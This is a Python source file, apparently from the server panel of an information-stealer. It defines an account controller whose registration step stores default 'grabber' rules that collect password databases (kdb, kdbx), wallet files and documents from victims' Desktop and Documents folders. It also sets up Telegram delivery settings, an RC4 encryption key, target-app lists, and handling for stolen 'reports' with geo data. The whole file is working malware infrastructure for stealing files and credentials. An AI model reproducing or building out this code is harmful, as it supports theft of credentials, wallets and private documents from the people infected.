125 lines
4.1 KiB
Python
125 lines
4.1 KiB
Python
#!/usr/bin/env python3
|
|
# -*- coding: utf-8 -*-
|
|
# Coded by [email protected]
|
|
|
|
# Import modules
|
|
from json import dumps
|
|
from secrets import token_urlsafe
|
|
from werkzeug.security import \
|
|
generate_password_hash, check_password_hash
|
|
# Import packages
|
|
from core.models.reports import Report
|
|
from core.manager.database import DatabaseManager
|
|
|
|
|
|
# Connect to clients database
|
|
clients_db = DatabaseManager("accounts.db")
|
|
|
|
""" Account controller """
|
|
class Account(object):
|
|
def __init__(self, username, password):
|
|
self.username = username
|
|
self.password = password
|
|
|
|
# Register new client on server
|
|
def register(self) -> bool:
|
|
# Failed register, user already exists
|
|
if self.exists() is True:
|
|
return False
|
|
# Generate password hash
|
|
password_hash = generate_password_hash(self.password)
|
|
# Insert new user to db
|
|
clients_db.execute(
|
|
sql="INSERT INTO accounts (username, password_hash) VALUES (?, ?)",
|
|
values=[self.username, password_hash],
|
|
commit_changes=True
|
|
)
|
|
# Insert default grabber rules
|
|
clients_db.execute(
|
|
sql="INSERT INTO grabber (scan_paths, extensions, owner) VALUES (?, ?, ?)",
|
|
values=[
|
|
dumps(["%Desktop%", "%Documents%"]),
|
|
dumps(["txt", "kdb", "kdbx", "wallet", "rtf", "doc", "docx", "pdf"]),
|
|
self.username
|
|
],
|
|
commit_changes=True
|
|
)
|
|
# Insert default telegram settings
|
|
clients_db.execute(
|
|
sql="INSERT INTO telegram (token, chatid, owner) VALUES (?, ?, ?)",
|
|
values=['', dumps([]), self.username],
|
|
commit_changes=True
|
|
)
|
|
# Insert random RC4 encryption key
|
|
clients_db.execute(
|
|
sql="INSERT INTO encryption (key, owner) VALUES (?, ?)",
|
|
values=[token_urlsafe(16), self.username],
|
|
commit_changes=True
|
|
)
|
|
# Insert empty target apps list
|
|
clients_db.execute(
|
|
sql="INSERT INTO targets (owner) VALUES (?)",
|
|
values=[self.username],
|
|
commit_changes=True
|
|
)
|
|
return True
|
|
|
|
# Delete client from server
|
|
def unregister(self) -> bool:
|
|
# Failed unregister, user not exists
|
|
if self.exists() is False:
|
|
return False
|
|
# Delete all reports
|
|
found_reports = Report.GetReports(
|
|
self.username,
|
|
geo_data_dict=False
|
|
)
|
|
for report in found_reports:
|
|
report.DeleteReport()
|
|
# Delete rows from database
|
|
for table in ["accounts", "grabber", "telegram", "encryption", "targets"]:
|
|
if table == "accounts": r = "username"
|
|
else: r = "owner"
|
|
clients_db.execute(
|
|
sql=f"DELETE FROM {table} WHERE {r} = ?",
|
|
values=[self.username],
|
|
commit_changes=True
|
|
)
|
|
return True
|
|
|
|
# Verify client password
|
|
def login(self) -> bool:
|
|
# Get values from db
|
|
response = clients_db.execute(
|
|
sql="SELECT password_hash FROM accounts WHERE username = ?",
|
|
values=[self.username],
|
|
commit_changes=False
|
|
)
|
|
password_hash = response[0][0]
|
|
# Verify password hash
|
|
return check_password_hash(password_hash, self.password)
|
|
|
|
# Client is exists
|
|
def exists(self) -> bool:
|
|
# Get values from db
|
|
response = clients_db.execute(
|
|
sql="SELECT id FROM accounts WHERE username = ?",
|
|
values=[self.username],
|
|
commit_changes=False
|
|
)
|
|
return len(response) != 0
|
|
|
|
# Change client password
|
|
def change_password(self, new_password: str):
|
|
password_hash = generate_password_hash(new_password)
|
|
clients_db.execute(
|
|
sql="UPDATE accounts SET password_hash = ? WHERE username = ?",
|
|
values=[password_hash, self.username],
|
|
commit_changes=True
|
|
)
|
|
|
|
# Bool
|
|
def __bool__(self):
|
|
return self.exists() and self.login()
|
|
|